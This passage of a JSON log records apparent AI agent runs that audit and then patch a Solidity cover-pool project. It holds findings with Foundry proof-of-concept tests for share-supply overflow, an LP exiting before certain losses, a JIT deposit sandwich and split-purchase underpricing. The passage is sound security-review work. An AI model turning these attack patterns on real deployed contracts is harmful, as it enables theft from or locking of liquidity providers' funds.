(currentRound 101), frontier 100, rate(6,5000) = 500/1000 bps, lp deposited 1000e18. alice calls book.quote(type(uint64).max - 10, 6, 5000, 1000e18) -> 150e18; approves and calls openPolicy(type(uint64).max - 10, 6, 5000, 1000e18, 150e18, block.timestamp). Expected: revert (window unreachable). Actual: succeeds; pool.reserved() == 1000e18, pool.freeAssets() == 150e18. lp.redeem(allShares, 1) reverts InsufficientFreeAssets. After vm.warp(+36500 days) settle(id) still reverts UnknownRounds. Verified in test/scratch/Judge.t.sol::test_farFutureLockState (passes asserting the locked state) and by the attached proof, which expects the open to revert and fails with 'next call did not revert as expected'.","severity":"high","snippet":"        if (startRound <= frontier || startRound <= currentRound) {","title":"No upper bound on startRound: one flat premium reserves the whole pool for a window the core can never certify"},{"citation":"resolved","description":"When a covered payout drives _assets to 0 while totalShares stays large, the next deposit mints assets * (totalShares + 1e6) / 1 shares, multiplying the supply by the deposit size in atoms (1e21 for 1000 SQI). Each total-loss/recapitalization cycle repeats the multiplication; after three cycles totalShares is about 7.5e68, and a deposit of 1 SQI requires 7.5e86 shares, which mulDiv rejects. Only microscopic deposits remain representable and donations do not count toward NAV, so the pool cannot be recapitalized, contrary to the README/THREATS claim that virtual shares handle complete losses. Full 100% cover sales are permitted by design (cover up to freeAssets), so this needs no attacker, only three correlated total losses. Merged: independent tester (medium) and economics specialist becef9 (low). Distinct from finding 1: here no deposit succeeds or corrupts state, and a headroom guard does not restore deposits. Fix: rescale or reset shares when _assets falls to zero (epoch), or use a much larger virtual-asset offset so the multiplier per total loss is bounded.","line":93,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\ncontract CertifiedEmptyHistory is ISqueekCore {\n    uint64 public constant GENESIS = 1_700_000_000;\n    uint64 public frontier;\n\n    function certify(uint64 value) external {\n        frontier = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external pure returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = GENESIS;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(afterRound < throughRound && throughRound <= frontier);\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\ncontract RepeatedLossProofTest is Test {\n    CertifiedEmptyHistory core;\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n\n    function test_recapitalizationRemainsPossibleAfterThreeCoveredLosses() public {\n        vm.chainId(11_155_111);\n        core = new CertifiedEmptyHistory();\n        vm.warp(core.GENESIS());\n        address administrator = makeAddr(\"administrator\");\n        token = new MockSQK(administrator);\n        model = new PremiumModel(administrator);\n        pool = new CoverPool(administrator, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(administrator, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(administrator);\n        pool.setPolicyBook(address(book));\n        // A supported, constant 10% premium. The same user is LP and buyer.\n        model.setRate(6, 5000, 1000, 0);\n        token.transfer(address(this), 1100 ether);\n        vm.stopPrank();\n        // From here, the test is an ordinary LP/buyer with no administrative role.\n        token.approve(address(pool), type(uint256).max);\n        token.approve(address(book), type(uint256).max);\n        uint256 originalBalance = token.balanceOf(address(this));\n        for (uint64 cycle; cycle < 3; ++cycle) {\n            pool.deposit(1000 ether, 1);\n            (, uint64 current,) = reader.snapshot();\n            uint64 start = current + 1;\n            uint256 id = book.openPolicy(start, 6, 5000, 1000 ether, 100 ether, block.timestamp);\n            // Redeem exactly the free premium before the certified full payout.\n            uint256 shares = _sharesForAssets(100 ether);\n            assertEq(pool.redeem(shares, 100 ether), 100 ether);\n            uint64 end = start + 5;\n            core.certify(end);\n            vm.warp(uint256(core.GENESIS()) + uint256(end) * 600);\n            assertEq(book.settle(id), 1000 ether);\n            assertEq(pool.totalAssets(), 0);\n            assertEq(pool.reserved(), 0);\n            assertEq(token.balanceOf(address(this)), originalBalance);\n        }\n        // Expected: a funded user can recapitalize an empty pool, just as after the first loss.\n        // Actual: arithmetic overflow in Math.mulDiv; the outstanding worthless shares grew each cycle.\n        uint256 newShares = pool.deposit(1 ether, 1);\n        assertGt(newShares, 0);\n        assertEq(pool.totalAssets(), 1 ether);\n    }\n\n    function _sharesForAssets(uint256 assets) private view returns (uint256) {\n        uint256 low;\n        uint256 high = pool.sharesOf(address(this));\n        while (low < high) {\n            uint256 mid = low + (high - low) / 2;\n            if (pool.previewRedeem(mid) < assets) low = mid + 1;\n            else high = mid;\n        }\n        return low;\n    }\n}","reproduction":"Same fixture as finding 1 (rate(6,5000) = 1000/0 bps, actor is LP and buyer with 1100e18). Three times: deposit 1000e18; open cover 1000e18 for 100e18 premium at current+1; redeem the free 100e18; certify six empty rounds; settle pays 1000e18. After each cycle totalAssets == 0, reserved == 0, actor balance 1100e18; totalShares ~ 1e27, ~1e48, ~7.5e68. Expected: pool.deposit(1e18, 1) succeeds and reopens liquidity. Actual: reverts with arithmetic overflow (0x11) inside previewDeposit/Math.mulDiv. Run: forge test --match-path test/scratch/Proof_bddfe1b0ad9f.t.sol (fails at that deposit).","severity":"medium","snippet":"        return Math.mulDiv(assets, totalShares + VIRTUAL_SHARES, _assets + 1);","title":"Repeated complete losses inflate the share supply until ordinary recapitalization deposits overflow"},{"citation":"resolved","description":"previewRedeem values shares against _assets, which still includes the reserved cover of open policies, and redeem() only caps withdrawals at freeAssets(). The payout of a policy is fixed by public certified history as soon as the frontier reaches endRound (and often earlier: for N=6, T=30% two certified zero rounds already decide it while settle() still reverts UnknownRounds for four more rounds). Settlement is a separate permissionless transaction, so between certainty and settle() any LP can leave at full NAV, including by front-running the settle transaction. The buyer is still paid in full from the pool, so the entire loss lands on the LPs who stay; anyone depositing in that window buys a certain loss. THREATS.md says share prices do not discount unresolved claims, but this is a concrete unprivileged transfer between LPs, not a pricing imprecision. Reported by all four specialists; merged. Design-preserving fixes: have redeem()/deposit() settle any policy whose endRound <= frontier first, or lock shares present at a sale until that policy settles, or value shares with the reservation haircut once the certified zero-round count meets the threshold.","line":121,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3-shaped core with a settable frontier and no active records (every round is zero-work).\ncontract EmptyCore is ISqueekCore {\n    uint64 public constant GENESIS = 1_700_000_000;\n    uint64 public frontier = 100;\n\n    function certify(uint64 value) external {\n        frontier = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external pure returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = GENESIS;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(afterRound < throughRound && throughRound <= frontier, \"bounds\");\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\n/// @notice Two LPs fund a policy equally. Once the whole window is certified the payout is fixed by public\n/// history, but until someone calls settle() the pool still values shares with the doomed reservation and\n/// redeem() only checks free assets. The first LP out leaves with its full pre-loss value plus half the\n/// premium; the LP that stays carries the entire 1000 SQI payout. Fails now; passes once shares present\n/// at the sale carry their share of the loss (haircut, settle-before-redeem, or a redemption lock).\ncontract ProofExitBeforeSettle is Test {\n    uint64 internal constant START = 102;\n    address internal owner = makeAddr(\"owner\");\n    address internal lpA = makeAddr(\"lpA\");\n    address internal lpB = makeAddr(\"lpB\");\n    address internal buyer = makeAddr(\"buyer\");\n    EmptyCore internal core;\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        core = new EmptyCore();\n        vm.warp(uint256(core.GENESIS()) + 100 * 600);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        model.setRate(6, 5000, 500, 1000);\n        token.transfer(lpA, 1000 ether);\n        token.transfer(lpB, 1000 ether);\n        token.transfer(buyer, 1000 ether);\n        vm.stopPrank();\n        _deposit(lpA, 1000 ether);\n        _deposit(lpB, 1000 ether);\n    }\n\n    function _deposit(address who, uint256 amount) internal {\n        vm.startPrank(who);\n        token.approve(address(pool), amount);\n        pool.deposit(amount, 1);\n        vm.stopPrank();\n    }\n\n    function test_firstLpOutCannotEscapeACertifiedLoss() public {\n        (uint256 premium,) = book.quote(START, 6, 5000, 1000 ether);\n        assertEq(premium, 100 ether);\n        vm.startPrank(buyer);\n        token.approve(address(book), premium);\n        uint256 id = book.openPolicy(START, 6, 5000, 1000 ether, premium, block.timestamp);\n        vm.stopPrank();\n        assertEq(pool.totalAssets(), 2100 ether);\n        assertEq(pool.reserved(), 1000 ether);\n\n        // The whole window 102..107 is certified with no active records: six zero-work rounds, payout certain.\n        core.certify(START + 5);\n        vm.warp(uint256(core.GENESIS()) + uint256(START + 5) * 600);\n        assertEq(reader.countZeroRounds(START, 6), 6);\n\n        // lpA exits before anyone calls settle().\n        uint256 sharesA = pool.sharesOf(lpA);\n        vm.prank(lpA);\n        (bool ok, bytes memory ret) = address(pool).call(abi.encodeCall(pool.redeem, (sharesA, 1)));\n        uint256 gotA = ok ? abi.decode(ret, (uint256)) : 0;\n\n        assertEq(book.settle(id), 1000 ether);\n        uint256 valueB = pool.previewRedeem(pool.sharesOf(lpB));\n\n        // Expected: both LPs funded the cover equally, so each ends near (2100 - 1000) / 2 = 550 SQI.\n        // Actual on this code: lpA leaves with 1049.99 SQI and lpB is left with 50 SQI.\n        if (ok) {\n            assertLe(gotA, 600 ether, \"first LP out escaped a loss that was already certain\");\n            assertGe(valueB, 500 ether, \"remaining LP absorbed the whole payout\");\n        } else {\n            // A fix that blocks the early exit must still let lpA out after settlement at the shared loss.\n            vm.prank(lpA);\n            uint256 later = pool.redeem(sharesA, 1);\n            assertLe(later, 600 ether);\n            assertGe(valueB, 500 ether);\n        }\n    }\n}","reproduction":"Fixture: rate(6,5000) = 500/1000 bps; lpA and lpB deposit 1000e18 each (equal shares). buyer opens startRound 102, N=6, T=5000, cover 1000e18: premium 100e18, totalAssets 2100e18, reserved 1000e18, free 1100e18. Core certifies through 107 with no records (countZeroRounds == 6, payout certain). Before settle: lpA.redeem(allShares, 1) returns 1049999999999999999999 (passes the free-assets check). Then settle(id) pays 1000e18; lpB.previewRedeem(allShares) == 50000000000000000001. Expected: each LP ends near 550e18. Actual: lpA +50e18, lpB -950e18. Early variant (test/scratch/Judge.t.sol::test_exitBeforeSettleAfterCertainOutcome): with T=3000 and only rounds 102..103 certified, settle reverts UnknownRounds(107,103) yet bob already redeems 1049.99e18 with the same end result. Run: forge test --match-path test/scratch/ProofExitBeforeSettle.t.sol (fails: 'first LP out escaped a loss that was already certain').","severity":"medium","snippet":"        if (assets > freeAssets()) revert InsufficientFreeAssets();","title":"LP can redeem at the pre-loss share price once a payout is already certain, shifting the whole loss to remaining LPs"},{"citation":"resolved","description":"lockCover credits the entire premium to NAV the moment a policy is sold, and redeem() lets a depositor leave in the same block as long as free assets remain. A depositor who sees a pending openPolicy can deposit just before it, take a pro-rata share of the premium, and redeem right after, bearing none of the cover risk. Because PremiumModel prices utilization against pool.totalAssets(), the front-run deposit also lowers the premium the buyer actually pays below the quote, so the LPs who carry the reservation receive less than the quoted price. Reported by the economics specialist and as a variant in the flow specialist's finding; merged. Fix options that keep the design: accrue premiums to NAV over the policy window or hold them pending until settlement, and/or a short deposit-to-redeem delay.","line":144,"path":"src/CoverPool.sol","reproduction":"Fixture: rate(6,5000) = 500/1000 bps; lp deposited 1000e18. book.quote(102,6,5000,500e18) == 50e18 (rate 500 + 500). bob deposits 9000e18. alice's openPolicy(102,6,5000,500e18,50e18,deadline) executes: utilization is 500/10000 so rate 550 bps and she pays 27.5e18 instead of 50e18. bob redeems all shares in the same block and receives 9024749999999999999999, a risk-free +24.75e18 (90% of the premium). lp's shares are worth 1002.75e18 instead of 1050e18 while carrying the whole 500e18 reservation. Expected: a depositor present only for the sale block cannot leave with more than deposited, and the buyer's price is not depressed by capital that leaves immediately. Run: forge test --match-path test/scratch/Proof_7daba0289f94.t.sol (fails: 9024749999999999999999 > 9000000000000000000000).","severity":"medium","snippet":"        _assets += premium;","title":"JIT deposit sandwich around openPolicy captures most of the premium and lowers the buyer's price at existing LPs' expense"},{"citation":"resolved","description":"countZeroRounds() calls snapshot() first, and snapshot() reverts InvalidConfiguration unless configuration().maxRoundsPerBatch equals PAGE_SIZE (16). The reader never passes that value to roundPage and always requests 16 records, so a core whose batch limit is raised above 16 still serves identical pages; the check is stricter than what the code relies on. SqueekCore is an upgradeable proxy run by another party, and the application has no owner path, migration or refund by design, so after such a change every settle() reverts permanently: reservations stay locked, holders of certified triggered windows are never paid, and LPs can never redeem the reserved part. Blocking new quotes on an unexpected configuration is sensible; blocking settlement of already certified history is a permanent fund lock controlled by an external actor. The version == 3 and roundDuration == 600 pins are deliberate fail-closed choices documented in THREATS.md and are left as trust assumptions. Matches the slither incorrect-equality lead at CoreReader.sol:28. Reported by all four specialists; merged. Fix: require maxRoundsPerBatch >= PAGE_SIZE (smaller limits do break paging), and consider restricting the configuration pins to the quote path.","line":38,"path":"src/CoreReader.sol","reproduction":"Fixture: lp deposited 1000e18; alice opens startRound 102, N=6, T=5000, cover 100e18. Core certifies through 107 with no records; core.roundPage(101,107,16) still returns a valid page. Core configuration() now reports maxRoundsPerBatch = 32, all else unchanged, version still 3. Expected: settle(id) pays 100e18 and releases the reservation. Actual: settle(id) reverts CoreReader.InvalidConfiguration; book.quote(112,6,5000,1e18) also reverts InvalidConfiguration; pool.reserved() stays 100e18. Setting the limit back to 16 makes the same settle(id) pay 100e18, showing the pages were never the problem. Verified in test/scratch/Judge.t.sol::test_batchLimitRaisedBricksSettle.","severity":"medium","snippet":"                || config.maxRoundsPerBatch != PAGE_SIZE","title":"snapshot() requires maxRoundsPerBatch == 16 exactly on the settlement path; a raised core batch limit bricks every open policy forever"},{"citation":"resolved","description":"quote() applies slope * (reserved + cover) / assets to the entire cover. A buyer who splits the same cover into k policies pays each piece only its own marginal utilization, so the surcharge component roughly halves (saving about slope*C^2/(2A)). Both routes leave the pool with identical reservations and risk, so the price is path-dependent and LPs systematically collect less from any buyer who splits. Fix: integrate the surcharge over [reserved, reserved + cover], i.e. slope * (2*reserved + cover) / (2*assets).","line":48,"path":"src/PremiumModel.sol","reproduction":"Fixture: lp deposited 1000e18, reserved 0, rate(6,5000) = 500/1000 bps. book.quote(102,6,5000,1000e18) == 150e18. Instead alice opens ten policies openPolicy(102,6,5000,100e18,...) in sequence: total premium 102.31e18 for the same 1000e18 reserved. Expected: equal cover and equal exposure cost the same. Actual: 47.69e18 (31.8%) less premium reaches LPs. Verified in test/scratch/Judge.t.sol::test_splitPurchaseCheaper.","severity":"low","snippet":"        rateBps = rate.baseBps + Math.mulDiv(reserved + cover, rate.slopeBps, assets, Math.Rounding.Ceil);","title":"Utilization surcharge is charged at final utilization on the whole amount, so splitting a purchase pays about a third less for the same cover"},{"citation":"resolved","description":"Recomputing sha256 over every path listed in dependency-checksums.json gives 23 mismatches out of 50 (SafeERC20.sol, Address.sol, Math.sol, IERC1363.sol and 19 forge-std files). The differences are formatting-only reflow, so library logic is unchanged and there is no security impact, but anyone verifying provenance with the shipped checksum file gets a failing check and the 'unmodified' statement is false as written. Re-vendor the pristine files (and exclude lib/ from forge fmt) or regenerate the digests and state that the files were reformatted.","line":10,"path":"DEPENDENCIES.md","reproduction":"From the repository root: python3 -I -c \"import json,hashlib;d=json.load(open('dependency-checksums.json'));print(sum(hashlib.sha256(open(p,'rb').read()).hexdigest()!=h for p,h in d['files'].items()))\" prints 23. Expected 0.","severity":"info","snippet":"Vendored Solidity files are unmodified. Archive SHA-256 values and individual file digests are recorded in `dependency-checksums.json`.","title":"DEPENDENCIES.md claims vendored files are unmodified, but 23 of 50 recorded sha256 digests do not match the tree"},{"citation":"resolved","description":"Not a code defect; dependency evidence for the launch decision. On 2026-11-01 SqueekCore 0x74665dAecA35A2303e767E76a2FF1FB6F93e119f reports settledThroughRound 1973, version 3, genesis 1791847800, roundDuration 600, maxRoundsPerBatch 16, so CoreReader's configuration pins match today, but the frontier has not moved since the pinned snapshot while the local current round is 2789. The code behaves as designed (openPolicy forces startRound >= 2790; settle reverts UnknownRounds until the frontier reaches endRound), so every reservation taken on launch day stays locked until the upstream reporter resumes. LAUNCH.md should make a live frontier check a precondition for binding the book and for LP deposits.","line":45,"path":"THREATS.md","reproduction":"cast call 0x74665dAecA35A2303e767E76a2FF1FB6F93e119f 'state()((uint64,uint64,uint96,uint64,uint96,uint32,uint256,bool))' --rpc-url https://ethereum-sepolia-rpc.publicnode.com -> (1973, ...). configuration() -> genesis 1791847800, roundDuration 600, maxRoundsPerBatch 16; implementationCodeVersion() -> 3. cast block latest --field timestamp -> 1793521128, so (1793521128 - 1791847800) / 600 + 1 = 2789. Expected for a healthy dependency: frontier within a few rounds of 2788; actual 1973.","severity":"info","snippet":"The public Core snapshot captured for this project had frontier 1973 with a later current round. It is evidence that wall-clock time and certification must be treated separately, not an uptime guarantee. Users and LPs should inspect live frontier progress before participating.","title":"Live Sepolia core frontier is stalled about 816 rounds behind the wall clock; policies opened at launch cannot settle until it resumes"}],"hash":"1728dc448f692aaebf9e85cc548d86c62c0c2c056e61559cbbe80b08c22c9f83","nodeId":"30e336ce-a87c-4e57-bfd1-d40083546476","outcome":"completed","summary":"The review is complete. `.imd-findings.json` holds 9 findings and a 25-row coverage record, and every snippet matched its cited line. Nothing outside the findings file and `test/scratch/` was changed.\n\n**What I kept, after reproducing each against the code**\n\n- **High, share-supply overflow locks LP funds** (`src/CoverPool.sol:107`). The tester's proof panics exactly at the victim's redeem after an unprivileged LP drives `totalShares` to 2^256 minus the virtual offset. No recovery path exists. Proof attached.\n- **High, unbounded startRound** (`src/PolicyBook.sol:105`). Reported by math, economics and permissions; merged. A policy starting at round 2^64-10 reserves the whole pool for one premium and can never settle. Proof attached. I raised this above the \"documented limitation\" framing because it is a permanent, unprivileged lock of principal.\n- **Medium, recapitalization overflow after three total losses** (`src/CoverPool.sol:93`). Tester plus economics low; merged. Kept distinct from the high because a headroom guard fixes one and not the other. Proof attached.\n- **Medium, LP exits at pre-loss NAV once the payout is certain** (`src/CoverPool.sol:121`). All four specialists; merged. I wrote a self-contained proof: the first LP out takes 1049.99 SQI and the one who stays keeps 50 SQI on an equal 1000/1000 funding. Proof attached.\n- **Medium, JIT deposit sandwich around openPolicy** (`src/CoverPool.sol:144`). The supplied proof fails with the stated 24.75 SQI risk-free gain.\n- **Medium, strict maxRoundsPerBatch pin bricks settlement** (`src/CoreReader.sol:38`). Four specialists; merged. Verified that setting the limit to 32 reverts settle and quote, and setting it back lets the same settle pay.\n- **Low, split purchases pay 31.8% less surcharge** (`src/PremiumModel.sol:48`).\n- **Info, 23 of 50 vendored digests mismatch** the \"unmodified\" claim in DEPENDENCIES.md.\n- **Info, live core frontier still at 1973** against a current round of 2789 today, checked by RPC.\n\n**Dropped**\n\n- The frontier == currentRound InconsistentCore finding. The revert reproduces on a mock, but I could not confirm the live core can ever certify a round before its wall-clock interval ends, so the state is unverified.\n- The setPolicyBook trust note. It is already stated verbatim in THREATS.md and is not a defect; I recorded it in the coverage row instead.\n\n**My own pass** found nothing beyond the panel's findings. Conservation of reserved, assets and balance holds on every path, reentrancy guards and CEI are in place, the manifest matches the constructors, and the project's 98 tests pass. The slither reentrancy and uninitialized-local leads did not reproduce.","treeHash":null,"usage":{"cachedInputTokens":1175405,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":33479,"runtime":"claude","turns":32,"wallClockMs":487728}},{"artifacts":[],"attempt":1,"bundleHash":"f63443c565a3fa9553782523b07888b420695cf069bfaff7b12670c3de41a8e2","device":"37eed9f56188ea8b","findings":[],"hash":"1cf07eaf4d57ad5d11243a36ae561cd6357cb83d25d331b63374b21841f7fa84","nodeId":"b324abba-b6df-41f6-99ae-35152d62b254","outcome":"completed","summary":"All three held findings reproduced on the starting tree and are fixed. The suite passes under the verifier's fuzz seed and formatting is clean.\n\n**What changed**\n\n- **Dust-bounded share retirement** (finding 8a1c…). CoverPool now retires an exhausted share supply whenever accounted assets are at or below a new constant, one million atoms, and carries that dust into the new epoch. Anything above the bound still reverts with ShareSupplyExhausted, so the earlier held proofs that refuse a 1e18 top-up keep passing. The SharesRetired event now reports the dust carried.\n- **Gate fails open on a history outage** (finding e5c6…). On the already-blocked path, settlementPending now reads the pending policy's certified history once. If that read reverts, nothing can settle or be reviewed, so the gate returns false instead of freezing all LP liquidity. Unblocked LP operations cost the same as before.\n- **Early certainty** (finding 6a9f…). I took the reviewer's option (a). CoreReader gained a certified-prefix count. The book settles as soon as certified rounds fix the outcome, paying when enough zero rounds are certified and expiring when the threshold is unreachable. Each policy carries a decide round, a lower bound on when its payout can become fixed, and the LP gate keys on the earliest one. A new permissionless `review` call settles a decided policy or pushes an undecided one's decide round forward, so the gate cannot stay closed on an undecided policy. A decided policy always sits at or below the frontier, so an undecided earlier policy cannot hide it.\n- **Advisory findings** on same-block premium capture and dust policies are answered as disputed, unchanged, and documented in THREATS.\n\n**Verification**\n\n| Check | Result |\n| --- | --- |\n| forge build | passes |\n| forge test with the verifier's seed | 86 passed, 0 failed |\n| forge fmt --check | clean |\n| Three reviewer proofs under test/scratch | all pass |\n\nTests I updated or added cover the residual atom, the dust bound as a fuzz property, early payout and early expiry, the review path, a decided policy behind an undecided one, and a metadata-only-readable core. The protected floor tests could not be compiled here because they import a helper that is not in the tree. Forge's linter prints a dozen pre-existing warnings about test fixtures; none are errors and none are new.\n\nAnswers to all five findings are in `.imd-responses.json`. No commit was made.","treeHash":"20e7b2c2194f0714d43a9c579c1a44571ff9e7bf","usage":{"cachedInputTokens":2509460,"inputTokens":674,"model":"claude-fable-5-1","outputTokens":65827,"runtime":"claude","turns":71,"wallClockMs":949391}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"c4617da5f1fd5ce8","findings":[],"hash":"2c03a09cfc2b25129c5783c14a8ece436412fcc2311ff4eb03123b4fe804c9c2","nodeId":"30e336ce-a87c-4e57-bfd1-d40083546476","outcome":"failed","summary":"Claude Code can't use your Claude subscription, usually because a payment is past due · Pay or renew at https://claude.ai/… (if you just paid, try again shortly), or use an Anthropic API key instead","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":1,"wallClockMs":1313}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"fcb71e606c933181","findings":[{"citation":"resolved","description":"The revision bounds totalShares and retires worthless shares, but only when _assets == 0 exactly. After three complete-loss cycles the supply is ~1e68 and a 1 token deposit needs ~1e86 shares, which does not fit. If accounted assets are 1 atom instead of 0, deposit() takes the ShareSupplyExhausted branch and nothing retires. That one atom is cheap to place and common to leave: any account can call deposit(1,1) on the emptied pool (it fits, and mints just over half the supply), and ordinary redeem rounding across several LPs leaves atoms behind by itself. In that state previewRedeem of every other holder is 0, so no one but a holder of essentially all shares can clear the residual, and every deposit above about 1.8e9 atoms reverts forever. README line 88 says the retirement rule makes the pool recapitalizable instead of permanently stuck; THREATS line 52 concedes the residual and names a fresh deployment as the fallback. My earlier finding was that the pool cannot be recapitalized after repeated total losses; the fix closes only the exact-zero case the held proof used. Design-preserving fix: when a deposit does not fit, retire the supply whenever _assets is at most a dust bound (for example VIRTUAL_SHARES atoms) and carry the residual atoms into the new epoch, so retirees lose at most dust; the held proofs (which refuse the attacker top-up at 1e18 of assets) keep passing.","line":136,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\ncontract CertifiedEmptyHistory is ISqueekCore {\n    uint64 public constant GENESIS = 1_700_000_000;\n    uint64 public frontier;\n\n    function certify(uint64 value) external {\n        frontier = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external pure returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = GENESIS;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(afterRound < throughRound && throughRound <= frontier);\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\n/// @notice After three complete losses the pool can only be recapitalized while accounted assets are\n/// exactly zero. One atom deposited by anyone (or left by ordinary redeem rounding) disables the\n/// retirement rule, and every deposit above a few hundred million atoms then reverts forever.\ncontract ResidualAtomBlocksRecapitalizationTest is Test {\n    CertifiedEmptyHistory core;\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n    address lp = makeAddr(\"lp\");\n    address stranger = makeAddr(\"stranger\");\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        core = new CertifiedEmptyHistory();\n        vm.warp(core.GENESIS());\n        address administrator = makeAddr(\"administrator\");\n        token = new MockSQK(administrator);\n        model = new PremiumModel(administrator);\n        pool = new CoverPool(administrator, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(administrator, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(administrator);\n        pool.setPolicyBook(address(book));\n        model.setRate(6, 5000, 1000, 0);\n        token.transfer(lp, 1100 ether);\n        token.transfer(stranger, 1 ether);\n        vm.stopPrank();\n        vm.startPrank(lp);\n        token.approve(address(pool), type(uint256).max);\n        token.approve(address(book), type(uint256).max);\n        vm.stopPrank();\n        vm.prank(stranger);\n        token.approve(address(pool), type(uint256).max);\n    }\n\n    function test_oneAtomAfterThreeCompleteLossesLeavesPoolUnableToAcceptCapital() public {\n        vm.startPrank(lp);\n        for (uint64 cycle; cycle < 3; ++cycle) {\n            pool.deposit(1000 ether, 1);\n            (, uint64 current,) = reader.snapshot();\n            uint64 start = current + 1;\n            uint256 id = book.openPolicy(start, 6, 5000, 1000 ether, 100 ether, block.timestamp);\n            assertEq(pool.redeem(_sharesForAssets(100 ether), 100 ether), 100 ether);\n            uint64 end = start + 5;\n            core.certify(end);\n            vm.warp(uint256(core.GENESIS()) + uint256(end) * 600);\n            assertEq(book.settle(id), 1000 ether);\n            assertEq(pool.totalAssets(), 0);\n        }\n        vm.stopPrank();\n        uint256 supplyBefore = pool.totalShares();\n\n        // Any account drops one atom into the empty pool. It is accepted and mints more than half the supply.\n        vm.prank(stranger);\n        uint256 strangerShares = pool.deposit(1, 1);\n        assertEq(pool.totalAssets(), 1);\n        assertGt(strangerShares, supplyBefore);\n\n        // The honest LP's remaining shares are worth nothing; it cannot clear the residual atom.\n        uint256 lpShares = pool.sharesOf(lp);\n        assertEq(pool.previewRedeem(lpShares), 0);\n        vm.prank(lp);\n        vm.expectRevert(CoverPool.Slippage.selector);\n        pool.redeem(lpShares, 1);\n\n        // Expected: a solvent pool with one atom of assets accepts a 1 token recapitalization.\n        // Actual: ShareSupplyExhausted, and the same for every deposit above ~1e9 atoms, forever.\n        vm.prank(lp);\n        uint256 shares = pool.deposit(1 ether, 1);\n        assertGt(shares, 0);\n        assertEq(pool.totalAssets(), 1 ether + 1);\n    }\n\n    function _sharesForAssets(uint256 assets) private view returns (uint256) {\n        uint256 low;\n        uint256 high = pool.sharesOf(lp);\n        while (low < high) {\n            uint256 mid = low + (high - low) / 2;\n            if (pool.previewRedeem(mid) < assets) low = mid + 1;\n            else high = mid;\n        }\n        return low;\n    